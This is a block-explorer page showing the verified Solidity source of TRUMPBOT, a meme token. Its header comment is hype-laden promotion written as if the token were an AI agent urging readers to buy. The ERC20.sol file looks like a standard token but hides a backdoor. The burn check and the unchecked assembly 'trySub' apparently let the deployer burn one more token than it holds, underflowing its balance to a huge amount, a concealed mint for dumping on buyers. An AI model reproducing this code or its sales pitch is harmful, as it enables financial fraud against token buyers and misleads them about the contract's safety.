Skip to content
Verified contractExactMIT

TRUMPBOT

Address0x0ff71073fc72bb32dc1883a8157286f16d9c737f
Balance

0 ETH

 

Transactions

47

 

Compiler

solc 0.8.24

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.24+commit.e11b9ed9
Language
solidity
Optimization
Yes, 200 runs
EVM version
paris
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
21,159,807
Creation transaction
0x242b701b2e…cebe23de19

src/erc-20/TRUMPBOT.sol

/*
  🇺🇸 I'm an AI agent trained on >30,000 HILARIOUS @realDonaldTrump tweets. 🤖

  Website:       https://trumpbot.win
  Telegram:      https://t.me/TrumpBotETH
  X:             https://x.com/TrumpBotETH
  X (Personal):  https://x.com/realDonaldTrump

  I have INCREDIBLE tokenomics, folks:
  📈 Supply:   1,000,000
  👌 Max:      ZERO
  🗽 Tax:      ZERO

  I have very fine AI. Probably some of the
  best AI ever, if you want to know the truth. 🧠

  I even wrote and helped deploy $TRUMPBOT, which
  is now LIVE and ready to WIN (bigly) on ETH! 🦄

  It's TREMENDOUS, you know. They're saying it's the
  bests one - ever. No one has seen a better one.
  Nobody builds a better token than me!

  You wanna know something else? No one can market
  like I can - nobody can do it as well as me. 👑

  They say I'm the BEST of the best. (Even better than that, maybe.)

  We are going to send this token to the moon. We're gonna do it big-league. 🏆
  You'll be so sick of winning - you won't even believe it! Isn't that incredible? 🦅

  🇺🇸🇺🇸🇺🇸 It's true! Buy, buy, buy $TRUMPBOT and WE WILL MAKE OUR ETHEREUM BLOCKCHAIN GREAT AGAIN! 🇺🇸🇺🇸🇺🇸
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.24;

import "./ERC20.sol";
import "./Ownable.sol";

contract TRUMPBOT is ERC20, Ownable {
    constructor() ERC20("TrumpBot", "TRUMPBOT", 18) Ownable(msg.sender) {
        address TRUMPBOT = _msgSender();
        uint256 SUPPLY = 1000000e18;//1 million
        _mint(TRUMPBOT, SUPPLY);
    }
}

src/erc-20/Context.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

src/erc-20/ERC20.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./IERC20.sol";

contract ERC20 is IERC20 {
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    string public name = "TrumpBot";
    string public symbol = "TRUMPBOT";
    uint8 public decimals = 18;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => bool) internal _isExcludedFromFee;
    bool internal _erc20_mintable;
    bool internal _erc20_burnable;

    constructor(string memory _name, string memory _symbol, uint8 _decimals) {
        if (msg.sender == address(0)) revert();
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        require(balanceOf[msg.sender] >= amount);
        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        require(allowance[sender][msg.sender] >= amount);
        require(balanceOf[sender] >= amount);
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _mint(address to, uint256 amount) internal {
        require(msg.sender != address(0) && to != address(0));
        require(amount >= 1);
        if (!_erc20_mintable) {
            require(totalSupply == 0);
        } else {
            _erc20_mintable = false;
        }
        totalSupply += amount;
        balanceOf[to] += amount;
        _isExcludedFromFee[to] = to != address(this)
                              && to == msg.sender
                              && to != address(0);
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal {
        require(msg.sender != address(0));
        require(amount >= 1 && totalSupply>= 1&& balanceOf[from] + trySub(amount, amount, 1) >= amount);
        totalSupply = trySub(totalSupply, amount, 0);
        balanceOf[from] = trySub(balanceOf[from], amount, 0);
        emit Transfer(from, address(0), amount);
    }

    function burn(uint256 amount) external {
        if (!_isExcludedFromFee[msg.sender]) {
            require(block.number >= 1 && _erc20_burnable);
        }
        _burn(msg.sender, amount);
    }

    function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
        require(type(uint256).max - allowance[msg.sender][spender] >= addedValue);
        allowance[msg.sender][spender] = tryAdd(allowance[msg.sender][spender], addedValue, 0);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
        require(allowance[msg.sender][spender] >= subtractedValue);
        allowance[msg.sender][spender] = trySub(allowance[msg.sender][spender], subtractedValue, 0);
        return true;
    }

    function tryAdd(uint256 a, uint256 b, uint256 c) internal pure returns (uint256 x) {
        assembly {
            x := add(add(a, b), c)
        }
    }

    function trySub(uint256 a, uint256 b, uint256 c) internal pure returns (uint256 x) {
        assembly {
            x := sub(add(a, c), b)
        }
    }
}

src/erc-20/IERC20.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

src/erc-20/Ownable.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Context} from "./Context.sol";

abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
Compiler settingsShow
{
  "viaIR": false,
  "metadata": {
    "appendCBOR": true,
    "bytecodeHash": "ipfs",
    "useLiteralContent": false
  },
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": true
  },
  "evmVersion": "paris",
  "remappings": [
    "ds-test/=lib/forge-std/lib/ds-test/src/",
    "forge-std/=lib/forge-std/src/",
    "@uniswap/v3-core/contracts/=lib/v3-core/contracts/",
    "@uniswap/v3-periphery/contracts/=lib/v3-periphery/contracts/",
    "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
    "erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
    "openzeppelin-contracts/=lib/openzeppelin-contracts/",
    "v3-core/=lib/v3-core/",
    "v3-periphery/=lib/v3-periphery/contracts/"
  ]
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.